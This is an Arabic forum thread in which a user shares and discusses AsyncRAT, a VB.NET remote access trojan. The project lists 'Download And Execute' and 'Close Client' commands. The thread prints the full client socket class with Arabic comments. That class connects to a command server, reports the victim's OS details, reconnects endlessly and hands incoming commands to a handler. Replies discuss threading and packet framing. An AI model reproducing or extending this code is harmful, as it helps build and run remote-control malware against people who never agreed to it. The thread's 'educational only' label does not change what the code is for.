مشروع برنامج RAT || سوكت Asynchronous

تم تحميل الصفحة في 1,9401218 ثانية
مشروع برنامج RAT || سوكت Asynchronous

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait



السلام عليكم يا أصدقاء

أقدم لكم سورس كود RAT بلغة VB.NET كتبتة بنفسي منذ مده طويلة ومن ثم عدلت عليه قليلاً قبل أيام وأحببت أن أنشره من باب احياء المنتدى ونشر موضوع جديد غير عن المواضيع المكرره
الغرض من المشروع هو التعلم وفتح باب النقاش الإيجابي خصوصاً بأنني جديد في هذا المجال وأغلب خبرتي في هذا المجال من خلال تصفح docs.microsoft وبعض برامج مفتوحة المصدر فأتمنى ان أستفيد منكم.
أن شاء الله من خلال هذا الموضوع سوف يتم تبادل الخبرات والأقتراحات لإثراء المحتوى التطويري


طبعاً المشروع بسيط جداً ويكمن جمال المشروع في سهولة قراءتة ، ولم أضف إليه إلا خاصيتين فقط لأن الغرض منه أن تتعلم اضافة الخواص وليس أن يكون المشروع جاهز :
1- Close Client
2- Download And Execute


معلومات عن المشروع
1- Asynchronous server
2- Asynchronous client
3- Server 4.5 .NET
4- Client 4.0 .NET


تنويه
يمكنك التعديل على المشروع كما تريد وإضافة خواصك وانشاء برنامجك الخاص مع أو بدون ذكر حقوقي.
عند تحميلك للمشروع فأنت توافق على أن هذا المشروع الغرض منه تعليمي فقط وليس للإستخدامات الخبيثة.


رابط التحميل
NYAN-x-CAT/AsyncRAT
 
التعديل الأخير بواسطة المشرف:

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
ياه! لقد نسيت هذا الموضوع أصلاً. الرابط مرفق قديم جداً ولا أنصح بإستعماله ولكن يمكنكم الإطلاع عليه في كل الأحوال.

عموماً عملت Repo للبرنامج ليتسنى للجميع متابعة التحديثات

NYAN-x-CAT/AsyncRAT

"إذا كان بالإمكان ارفاق الرابط أعلاه مع الموضوع سيكون أفضل بكثير"

شكراً لكم.
 
التعديل الأخير بواسطة المشرف:

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
ممكن واحد له خبره بالبرمجة يشرح العناصر التقنية لبناء سوكت او على الاقل يدم مصادر لفهم الطريقة الصحيحة لذلك
من المواضيع التي جداً أفادتني في بناء مقبس الإتصال هو موضوع من شركة مايكروسوفت

Asynchronous Server Socket Example | مشروع سيرفر غير متزامن

Synchronous Client Socket Example | مشروع عميل متزامن

يمكنك إختيار للغة التي تفضلها أيضاً عن طريق الموقع نفسه من خلال الأزرار في الأعلى

 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
ممكن واحد له خبره بالبرمجة يشرح العناصر التقنية لبناء سوكت او على الاقل يدم مصادر لفهم الطريقة الصحيحة لذلك

للتو كتبت شرح سريع لك. إذا تواجد أي خطأ في معلوماتي الرجاء إبلاغي

شكراً للجميع.

كود:
Imports System, System.IO, System.Net, System.Net.Sockets

'       │ Author     : NYAN CAT
'       │ Name       : AsyncRAT

'       Contact Me   : https://github.com/NYAN-x-CAT

'       This program Is distributed for educational purposes only.

'https://docs.microsoft.com/en-us/dotnet/framework/network-programming/synchronous-client-socket-example

Public Class ClientSocket

    ' ننشأ متغير بإسم أس ونطلق عليه سوكت
    ' TCPclient كلاس سوكت يتميز عن
    ' من خلالة يمكننا إنشاء اتصال متزامن وغير متزامن
    ' وأيضاً يمكننا أن نستخدم أكثر من بروتوكول اتصال
    Public Shared S As Socket

    ' ننشأ متغير وفائدتة فقط ليعلمنا إذا السيرفر متصل بنا أم لا
    Public Shared isConnected As Boolean = False

    ' ننشأ متغير ذاكرة مؤقتة ليحفظ لنا البيانات القادمة من السيرفر
    Public Shared MS As MemoryStream

    ' للإستعلام إذا ما تم استقبال الرسالة بشكل كامل
    ' مثال
    ' This is a message <EOF>
    Public Shared EOF As String = "<EOF>"

    ' لأن الرسالة القادمة من السيرفر مقسمة. فبتالي يجب أن نعرف تنسيقها لنتمكن من قراءتها
    ' مثال
    ' This <N> is <N> a <N> message <EOF>
    Public Shared SPL As String = "<N>"


    Public Shared Sub Connect()

        ' ايقاف لمدة ثانية. من أجل أن لا نستهلك المعالج
        Threading.Thread.Sleep(1000)

        ' نحدد نوع وبروتوكول السوكت
        ' InterNetwork = IPv4
        ' InterNetworkV6 = IPv6
        'https://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.addressfamily?view=netframework-4.0
        S = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)

        ' نحدد النقطة وهي عبارة عن متغير يحمل الآي بي الخاص بالسيرفر + المنفذ
        Dim ipAddress As IPAddress = IPAddress.Parse("127.0.0.1")
        Dim ipEndPoint As IPEndPoint = New IPEndPoint(ipAddress, 2020)

        ' حجم البيانات
        ' 1024 * 5000 = 5MB
        S.ReceiveBufferSize = 1024 * 5000
        S.SendBufferSize = S.ReceiveBufferSize

        Try
            'https://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.connect?view=netframework-4.0
            ' يتم الإتصال بالسيرفر
            ' إذا كان السيرفر غير متصل فلن نقفز إلى السطر التالي
            ' وهذا يعني حدوث خطأ "أي لا يوجد اتصال" وعندها سنذهب إلى المصيدة
            S.Connect(ipEndPoint)

            ' Catch لم نذهب إلى المصيدة
            ' فبتالي تم الإتصال بالسيرفر
            isConnected = True
            Diagnostics.Debug.WriteLine("Connected")

            ' ننشأ ذاكرة لنستقبل البيانات منها
            MS = New MemoryStream

            ' قبل استقبال البيانات يجد أن نرسل للسيرفر اسمنا و نوع جهازنا ... الخ
            Dim OS As New Devices.ComputerInfo
            Send(String.Concat("INFO", SPL, "SYNC", SPL, OS.OSFullName, Environment.OSVersion.ServicePack, " ", Environment.Is64BitOperatingSystem.ToString.Replace("False", "32bit").Replace("True", "64bit")))

            ' الآن نقرأ البيانات القادمة من السيرفر
            Read()

        Catch ex As Exception
            Disconnected()
        End Try

    End Sub

    Private Shared Sub Read()

        Dim i As Integer = 0
        Dim ii As Integer = 0

        While isConnected = True

            Try
                Threading.Thread.Sleep(1)

                i += 1

                If i > 300 Then

                    i = 0
                    'https://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.poll?view=netframework-4.0
                    ' تحديد إذا المقبس قابل لقراءة
                    If S.Poll(0, 0) AndAlso S.Available = 0 OrElse Not S.Connected Then
                        Exit While
                    End If

                    ii += 1
                    If ii = 10 Then
                        ' أحياناً يتم اغلاق السيرفر بصورة سيئة
                        ' فبتالي عملية القراءه في السطر أعلاه لم تجدي نفعاً
                        ' يجب أن نرسل قيمة للسيرفر . اذا تم ارسال الرسالة فبتالي السيرفر لايزال متصل
                        ii = 0
                        Send("if server shutdown suddenly")
                    End If

                End If

                'https://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.available?view=netframework-4.0
                ' البيانات القادمة من السيرفر
                If S.Available > 0 Then

                    ' نحولها لبايت اراي
                    Dim Buffer(S.Available - 1) As Byte
                    Diagnostics.Debug.WriteLine("Received " + Buffer.Length.ToString)

                    ' استقبال البيانات
                    S.Receive(Buffer, 0, Buffer.Length, SocketFlags.None)

                    ' كتابة البيانات في الذاكرة
                    MS.Write(Buffer, 0, Buffer.Length)

re:
                    ' اذا كانت الرسالة كاملة
                    '  <EOF> كما شرحت في السابق
                    If BS(MS.ToArray).Contains(EOF) Then
                        Diagnostics.Debug.WriteLine("Data = " + BS(MS.ToArray))

                        ' عن البيانات EOF نفصل 
                        Dim A As Array = SplitWord(MS.ToArray, EOF)

                        ' نرسل البيانات الى الكلاس المختص بالأوامر
                        Dim T As New Threading.Thread(AddressOf Messages.Read)
                        T.Start(A(0))

                        ' نفرغ الذاكرة
                        MS.Flush()
                        MS.Dispose()
                        MS = New MemoryStream

                        If A.Length = 2 Then
                            ' في حال وجود رسالة اخرى
                            MS.Write(A(1), 0, A(1).length)
                            GoTo re
                        End If

                    End If

                End If
            Catch ex As Exception
                Exit While
            End Try
        End While

        Disconnected()

    End Sub

    Private Shared Sub Disconnected()
        ' يبدو أن السيرفر غير متصل بنا
        ' نحاول الاتصال مرة تلو الاخرى حتى يتم الاتصال
        isConnected = False
        Diagnostics.Debug.WriteLine("Disconnected")

        Try
            If S IsNot Nothing Then
                ' نفرغ السوكت لبناء سوكت جديد للإتصال الجديد
                S.Close()
                S.Dispose()
            End If
        Catch ex As Exception
        End Try

        Try
            If MS IsNot Nothing Then
                ' نفرغ الذاكرة لبناء ذاكرة جديدة للإتصال الجديد
                MS.Flush()
                MS.Dispose()
            End If
        Catch ex As Exception
        End Try

        Connect()

    End Sub

    'https://docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.send?view=netframework-4.0
    Private Shared Sub Send(ByVal b As Byte())
        Dim MS As MemoryStream = New MemoryStream
        Try

            ' الرسالة يجب تكون على شكل بايت اراي
            MS.Write(b, 0, b.Length)
            MS.Write(SB(EOF), 0, EOF.Length)

            SyncLock S
                ' نتأكد أن المقبس قابل للكتابة
                S.Poll(-1, SelectMode.SelectWrite)

                ' نرسل
                S.Send(MS.ToArray, 0, MS.Length, SocketFlags.None)
            End SyncLock

            MS.Dispose()
        Catch ex As Exception
            ' لم يتم الارسال. اذا السيرفر غير متصل بنا
            isConnected = False
            MS.Dispose()
        End Try
    End Sub

    Public Shared Sub Send(ByVal S As String)
        Send(SB(S))
    End Sub

    'credit to njq8
    'a better way to split packets
    Private Shared Function SplitWord(ByVal b As Byte(), ByVal Word As String) As Array
        Dim a As New Collections.Generic.List(Of Byte())
        Dim M As New MemoryStream
        Dim MM As New MemoryStream
        Dim T As String() = Split(BS(b), Word)
        M.Write(b, 0, T(0).Length)
        MM.Write(b, T(0).Length + Word.Length, b.Length - (T(0).Length + Word.Length))
        a.Add(M.ToArray)
        a.Add(MM.ToArray)
        M.Dispose()
        MM.Dispose()
        Return a.ToArray
    End Function

End Class
 
إنضم
19 يناير 2012
المشاركات
1,492
الإعجابات
1,491
النقاط
133
الإقامة
IRAQ
جميل ...

المبدا ... جميل ...

_______+

قرات الاكواد للمشروع ...

على السريع ...

في Github ...


______+

_ معلومه _ :38:

في كل مشاريعك ...

للرات ... ضع ..

Event Valve }

لتسلم الباكج ... كامله ...

وعدم حدوث ... اي تجاوز ..

للداتا ...

_______+

:9:
 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
جميل ...

المبدا ... جميل ...

_______+

قرات الاكواد للمشروع ...

على السريع ...

في Github ...


______+

_ معلومه _ :38:

في كل مشاريعك ...

للرات ... ضع ..

Event Valve }

لتسلم الباكج ... كامله ...

وعدم حدوث ... اي تجاوز ..

للداتا ...

_______+

:9:
شكراً لك ولتوفيرك بعض الوقت لقرآءة المشروع.

في المشروع كنت استخدام End Of File مثل ما تم استخدامه مع مثال مايكروسوفت

وأيضاً تم استخدام فنكشن fx للمبرمج njq8

للأمانة أنا أحاول فهم كيفية التعامل مع Threading أثناء استخدام Asynchronous و تسريع استجابة البرنامج من غير حجب

أما التعامل مع الداتا وعمل تسلسل لها سوف أدرسهم بعد الإنتهاء من Threading

على سبيل المثال RaiseEvent تعمل بشكل متزامن. فبتالي استخدامها في برامج غير متزامن غير منطقي.
 
إنضم
19 يناير 2012
المشاركات
1,492
الإعجابات
1,491
النقاط
133
الإقامة
IRAQ
شكراً لك ولتوفيرك بعض الوقت لقرآءة المشروع.

في المشروع كنت استخدام End Of File مثل ما تم استخدامه مع مثال مايكروسوفت

وأيضاً تم استخدام فنكشن fx للمبرمج njq8

للأمانة أنا أحاول فهم كيفية التعامل مع Threading أثناء استخدام Asynchronous و تسريع استجابة البرنامج من غير حجب

أما التعامل مع الداتا وعمل تسلسل لها سوف أدرسهم بعد الإنتهاء من Threading

على سبيل المثال RaiseEvent تعمل بشكل متزامن. فبتالي استخدامها في برامج غير متزامن غير منطقي.

الان عرفت ... :212:

ما مدى فهمك ...

للبرمجه ... و الرات ... خصوصا ...

___+

انا لم اقصد ناصر او غيره ..

انا عجبني تفكيرك > فقط <... ب المشروع ...
______+


انا كنت اقصد ...

بالمصطلح ... Event Valve ...

ResetEvent

سواء كان ...

Manual او Auto ...

او ال EventArgs

____+

اما استخدامها فقط في البرامج ...

غير متزامنه ...

ليس لها علاقه ...

لا من قريب ... او بعيد ...

ال Event اكبر واوسع ...

من برامج الرات ...

استخدمها حتى في المطبخ ... ههه

_______+

بالمناسبه ... عندي فراغ كبير ... هذه الايام ...

____+

:9:
 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
للأمانة أواجه صعوبة في قراءة كلامك لأنك تكتب مايقارب 3 كلمات في كل سطر ولكن لا بأس

أنا فاهم قصدك بـ event وهو مشروح في مثال سوكت مايكروسوفت ولكن كما قلت أنا حاول ألا أحجب أي شيء لكي أتمكن من فهم طريقة عمل Threading في السوكت في الوقت الراهن

رغم إني لم أفهم علاقة manualresetevent بـ استلام الباكيت بشكل كامل لأن لأن بروتوكول tcp لا يرسل الحزم بشكل كامل لأنه الباكت أصلاً fragmented فبتالي يوجد تداخل بالباكت إلا اذا عرف معلومات البفر مسبقاً أو مايسمى بـ Buffered Socket

manualresetevent من فهمي البسيط أنها تستخدم فقط في حالات معية مثل تحديد اذا ما تم اكتمال الاتصال

أما socketasynceventargs فهو مثال آخر وبعيد تماماً عن مشروعي البسيط. ولكن بالطبع سوف يأتي يوم وأبدأ في تطبيقه ولكن ليس في الوقت الراهن

إذا كان في أي خطأ في كلامي أو معلومة فاتتني فيرجى التوضيح حيث أني أحاول فهم برامج الإتصال بشكل جيد.

شكراً لك أخي الكريم.
 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
لأكون صادق توقعت ردود كثيرة للموضوع خصوصاً انه بسيط ولكن لم يعقب أحد ماعدا العضو الأخ eagle coder ويشكر على رده

أتمنى من الأعضاء المشاركة ، لايمكن لأي شخص أن يتطور إلا بالمناقشة والمشاركة

حتى لو كان رد غير بناء سيكون أفضل من المرور من غير مشاركة لأنك على الأقل عقبت على فكرة تجدها غير نافعه من وجهت نظرك

لاحظت أن بعض الأعضاء المميزين ارسلوا إلي رسائل شخصية بخصوص هذا الموضوع وكانت آرائهم جداً ممتازة

وأشكرهم كل الشكر على هذة الاقتراحات والنصائح ، ولكن أحسست أنهم لا يريدون مشاركة آرائهم هنا لكي لا يتعرضوا للإنتقاد السلبي والغير بناء

فهل احساسي صحيح؟

عموماً حتى لو كنت مبتدأ مثلي في برمجة الشبكات يمكنك طرح فكرتك أو تعليقك على المشروع هنا بكل ثقة

في الأمس كنت لا أعرف ماهو الكمبيوتر ولا أعرف ماهو الرام أو المعالج. واليوم أصبحت قادر على كتابة برامج بـ 3 لغات

في الأمس كان هنالك مبرمج يهزء بي بطريقة غير مباشرة عندما كنت أسأله أسئلة سهله بالنسبه له. واليوم أصبح يراسلني على ديسكورد لأصمم له برنامج مقابل مبلغ

لا تدع "إنسان" أن يحطم عزيمتك.

شكراً للجميع :42:
 

Terr0r1st_Dz

خبير اختبار الاختراق
rankrankrankrank
إنضم
20 أبريل 2013
المشاركات
1,654
الإعجابات
1,713
النقاط
258
الإقامة
مملكة شكوبيستان
انا من جهتي لم اعقب لاني ما زلت في طور فهم socket سواء في الارسال المتزامن او غير المتزامن
و احاول فهم الدوال التي استخدمتها حتى استطيع المناقشة
 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
انا من جهتي لم اعقب لاني ما زلت في طور فهم socket سواء في الارسال المتزامن او غير المتزامن
و احاول فهم الدوال التي استخدمتها حتى استطيع المناقشة
مجرد ان تعرف الفكرة ستجد ان الدوال جدا واضحه.

أنصحك بقراءة كلاس tcpClient و tcpListner فهما عبارة عن كلاس socket مصغر. وأمثلة مايكروسوفت جدا سهله أنصحك بها أيضاً.
 

ODINE

Beginner Developer
rank
إنضم
5 مارس 2018
المشاركات
21
الإعجابات
14
النقاط
3
العمر
26
يبدوا جيد كبدايه
استعمال EOL يصلح لان لبيئة تجريبة ، لاكن العمل ب وضع header للباكيث قبل ارسالها شي ضروري ادا تريد البرنامج ان يكون صالج للاستعمال
 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
307
الإعجابات
351
النقاط
63
الإقامة
Kuwait
يبدوا جيد كبدايه
استعمال EOL يصلح لان لبيئة تجريبة ، لاكن العمل ب وضع header للباكيث قبل ارسالها شي ضروري ادا تريد البرنامج ان يكون صالج للاستعمال
بضبط كلامك جداً سليم وفي محله. ولكن في الوقت الراهن أريد قضاء وقت أطول في محاولة فهم واستعاب كلاس سوكت بدلاً من القفز إلى مواضيع عميقة.

عموماً هنالك عضو جداً مميز وأحترمه قدم مثال بسيط لمقبس اتصال متسلسل كما ذكرت ولكن لم أرد حتى الآن أن أقفز إلى هذة النقطة

هذا هو رابط مشروعه gigajew/Asynchronous-Socket-Demonstration لعل أن يستفيد أحد الأعضاء منه
 
إنضم
19 يناير 2012
المشاركات
1,492
الإعجابات
1,491
النقاط
133
الإقامة
IRAQ
للأمانة أواجه صعوبة في قراءة كلامك لأنك تكتب مايقارب 3 كلمات في كل سطر ولكن لا بأس

أنا فاهم قصدك بـ event وهو مشروح في مثال سوكت مايكروسوفت ولكن كما قلت أنا حاول ألا أحجب أي شيء لكي أتمكن من فهم طريقة عمل Threading في السوكت في الوقت الراهن

رغم إني لم أفهم علاقة manualresetevent بـ استلام الباكيت بشكل كامل لأن لأن بروتوكول tcp لا يرسل الحزم بشكل كامل لأنه الباكت أصلاً fragmented فبتالي يوجد تداخل بالباكت إلا اذا عرف معلومات البفر مسبقاً أو مايسمى بـ Buffered Socket

manualresetevent من فهمي البسيط أنها تستخدم فقط في حالات معية مثل تحديد اذا ما تم اكتمال الاتصال

أما socketasynceventargs فهو مثال آخر وبعيد تماماً عن مشروعي البسيط. ولكن بالطبع سوف يأتي يوم وأبدأ في تطبيقه ولكن ليس في الوقت الراهن

إذا كان في أي خطأ في كلامي أو معلومة فاتتني فيرجى التوضيح حيث أني أحاول فهم برامج الإتصال بشكل جيد.

شكراً لك أخي الكريم.

اذا كنت تريد ...

مثال على ... ال ResetEvent ..

تفضل ... :38:

C#:
Public Class SK
    

     Public EventRest As ManualResetEvent = New ManualResetEvent(False)
  

     Public Sub New(ByVal port As Integer)
 
      ' Do Something Here
      
      EventRest.WaitOne()
      
    End Sub

    Public Sub accept(ar As IAsyncResult)

      EventRest.Set()
          
      ' Do Something Here

    End Sub

End Class
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 4 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل